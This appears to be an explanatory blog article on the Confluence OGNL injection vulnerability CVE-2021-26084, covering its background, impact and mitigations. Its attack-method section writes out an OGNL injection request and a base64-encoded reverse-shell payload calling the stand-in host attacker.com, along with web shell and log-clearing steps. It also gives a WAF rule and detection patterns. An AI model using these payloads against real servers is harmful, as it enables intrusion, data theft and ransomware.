Cyber Chronicles: CVE-2021-26084 – Confluence OGNL Injection Vulnerability

In this installment of Cyber Chronicles, we dive into CVE-2021-26084, a critical remote code execution (RCE) vulnerability in Atlassian Confluence Server and Data Center that sent ripples through the cybersecurity landscape in August 2021. Known as the Confluence OGNL injection exploit, this flaw allowed unauthenticated attackers to execute arbitrary code via a simple HTTP request, compromising collaboration platforms used by thousands of organizations worldwide. This article explores the context of the vulnerability, its technical mechanics, the methods attackers employed, its profound impacts, and the technical and policy measures needed to prevent such threats in the future.

Background of the Context

Atlassian Confluence is a leading collaboration platform for managing wikis, documentation, and team workspaces, widely adopted by enterprises, universities, and government agencies. Its on-premises Server and Data Center editions offer organizations control over their data, making them critical for sensitive projects. By 2021, Confluence was a cornerstone of remote and hybrid work, especially as organizations navigated post-COVID workflows.

On August 25, 2021, Atlassian issued an urgent advisory for CVE-2021-26084, following its discovery by security researcher Benny Jacob. The vulnerability, actively exploited in the wild, affected Confluence Server and Data Center versions 6.13.23 through 7.12.5. Patches were released (e.g., 7.13.0, 7.12.6), but proof-of-concept (PoC) exploits surfaced within hours, fueling attacks by ransomware groups like Cerber and LockBit, as well as botnet operators. Shodan scans estimated over 15,000 vulnerable instances exposed online, with exploitation peaking in early September.

The timing—late summer, with IT teams often understaffed—mirrored other high-profile exploits like ProxyLogon, amplifying its impact. CVE-2021-26084 highlighted the risks of exposed collaboration tools and the challenges of securing complex software, reigniting calls for better vulnerability management.

Vulnerability Description

CVE-2021-26084 is a remote code execution vulnerability caused by an Object-Graph Navigation Language (OGNL) injection flaw in Confluence’s web interface. OGNL is a powerful expression language used by Confluence to process dynamic content, such as template rendering. The vulnerability lies in the user profile page and other unauthenticated endpoints, where attackers can inject malicious OGNL expressions via URL parameters.

The flaw occurs because Confluence fails to properly sanitize user-supplied input in certain query parameters (e.g., queryString). An attacker can craft a URL containing an OGNL expression—such as ${Runtime.getRuntime().exec(“whoami”)}—that the server evaluates, leading to arbitrary command execution with the privileges of the Confluence process (typically confluence or root).

Affected versions include:

• Confluence Server/Data Center 6.13.23 to 7.4.11
• Confluence Server/Data Center 7.5.0 to 7.12.5
• Earlier versions if unpatched

The CVSS score of 9.8/10 reflects its severity: it’s remotely exploitable, requires no authentication, and targets a default configuration, making it a prime vector for mass attacks.

Attack Method (Technical Details)

Exploiting CVE-2021-26084 is alarmingly simple, requiring only a crafted HTTP request. Below is a technical breakdown, based on public PoCs and observed exploits.

1. Reconnaissance
   • Attackers scan for Confluence instances on ports 8090 (default) or 443 (if proxied) using tools like Shodan or Nmap (nmap –script http-confluence-detect).
   • They confirm vulnerability by testing OGNL injection in URLs (e.g., /pages/createpage.action?queryString=${1+1} returns 2).
2. Crafting the Malicious Request
   • The attacker sends an HTTP GET request with an OGNL payload in the queryString parameter. Example:GET /pages/createpage.action?queryString=\u0027${@java.lang.Runtime@getRuntime().exec("whoami")}\u0027 HTTP/1.1 Host: target.com
   • The Unicode escape (\u0027) bypasses basic input filters, executing whoami.
3. Executing Arbitrary Code
   • The Confluence server evaluates the OGNL expression, running the command in the system shell.
   • Common payloads include:
     • Reverse shell: ${@java.lang.Runtime@getRuntime().exec(“bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci5jb20vNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}”)}.
     • Web shell: Writing a JSP file to /confluence/temp/ via FileOutputStream.
4. Post-Exploitation
   • With a foothold, the attacker:
     • Enumerates the system (e.g., cat /etc/passwd, netstat -tuln).
     • Exfiltrates Confluence data (e.g., database backups from /confluence/data/).
     • Deploys ransomware or persistence mechanisms (e.g., Cerber, cron jobs).
   • Lateral movement targets internal networks via exposed credentials or SSH keys.
5. Evasion and Persistence
   • Attackers encode payloads (e.g., Base64, Unicode) to bypass WAFs.
   • They clear logs (/confluence/logs/catalina.out) or install backdoors in scheduled tasks.

The exploit’s accessibility—requiring a single URL—enabled rapid automation, with over 20,000 attacks logged by September 2021, per Atlassian’s telemetry.

Impact of the Attack

CVE-2021-26084’s fallout was swift and severe, disrupting organizations globally. Here’s a detailed assessment:

1. Mass Exploitation
   • By September 2021, thousands of Confluence instances were compromised, with Rapid7 reporting 50% of exposed systems probed.
   • Targets included tech firms, universities, and healthcare providers.
2. Ransomware Surge
   • Cerber and LockBit encrypted Confluence servers, disrupting collaboration and demanding ransoms.
   • SMBs, lacking robust backups, faced significant data loss.
3. Data Breaches
   • Attackers stole sensitive project data, intellectual property, and PII from Confluence wikis.
   • Nation-states, including suspected APT41, exploited it for espionage, targeting government and energy sectors.
4. Operational Disruption
   • Organizations took Confluence offline to patch, halting team workflows during critical periods.
   • Recovery efforts, including server rebuilds, strained IT resources.
5. Trust in Collaboration Tools
   • Atlassian faced criticism for recurring Confluence vulnerabilities (e.g., CVE-2022-26134).
   • Enterprises accelerated migrations to Confluence Cloud to offload security burdens.

CISA added CVE-2021-26084 to its Known Exploited Vulnerabilities Catalog in September 2021, with damages estimated in the tens of millions by year-end.

Mitigation and Prevention (Technical and Policy Details)

Mitigating CVE-2021-26084 requires immediate action and systemic resilience. Below are comprehensive recommendations:

Technical Mitigation

1. Patch Promptly
   • Upgrade to fixed versions (e.g., 7.13.0, 7.12.6) released August 25, 2021.
   • Use Atlassian’s health check tool (confluence-healthcheck.jar) to verify patch status.
2. Interim Workarounds
   • Disable public access to Confluence by restricting ports 8090/443 to trusted IPs via firewalls.
   • Block OGNL injection with a WAF rule: SecRule ARGS:queryString “@contains ${” “DROP”.
3. Network Protections
   • Proxy Confluence behind a VPN or reverse proxy with MFA.
   • Block outbound traffic from Confluence servers to limit C2 connections.
4. Monitor and Detect
   • Enable verbose logging (/confluence/logs/application.log) to spot OGNL execution (e.g., ${ patterns).
   • Deploy EDR to detect spawned processes (e.g., bash, cmd.exe).
5. Secure Configurations
   • Run Confluence as a non-root user (edit /confluence/bin/setenv.sh).
   • Disable anonymous access via Admin > Global Permissions.
6. Post-Breach Actions
   • Scan for web shells in /confluence/temp/ and /confluence/WEB-INF/ using find / -name “*.jsp”.
   • Rebuild compromised instances and rotate all credentials.

Policy Measures

1. Patch Management Overhaul
   • Enforce a 48-hour patching window for critical flaws, with automated notifications to IT leads.
   • Prioritize collaboration tools in vulnerability scans (e.g., Tenable.io).
2. Zero Trust Adoption
   • Require MFA for all Confluence access via SAML or OAuth.
   • Use network policies to restrict Confluence’s internal connectivity.
3. Vendor Coordination
   • Demand Atlassian provide early vuln warnings via customer SLAs.
   • Join Atlassian’s security advisory program for pre-release patches.
4. Incident Preparedness
   • Update playbooks for Confluence RCE scenarios, including data recovery plans.
   • Conduct quarterly simulations of collaboration platform breaches.
5. Regulatory Push
   • Advocate for fines on unpatched critical systems, per NIST 800-53 (SI-2).
   • Align with SOC 2 for third-party risk management.
6. Cloud Transition Strategy
   • Plan migration to Confluence Cloud to reduce on-premises risks.
   • Allocate funds for hybrid deployments as a transition step.

These measures address CVE-2021-26084’s immediate risks and strengthen defenses against future collaboration tool vulnerabilities.

Summary

CVE-2021-26084, the Confluence OGNL injection vulnerability, exposed the fragility of collaboration platforms in a remote work era. Its rapid exploitation underscored the stakes of unpatched software and the need for robust input validation. As we reflect on April 8, 2025, this flaw’s lessons resonate: speed, isolation, and preparedness are paramount. Stay tuned to Cyber Chronicles for our next deep dive into a critical vulnerability shaping our digital world.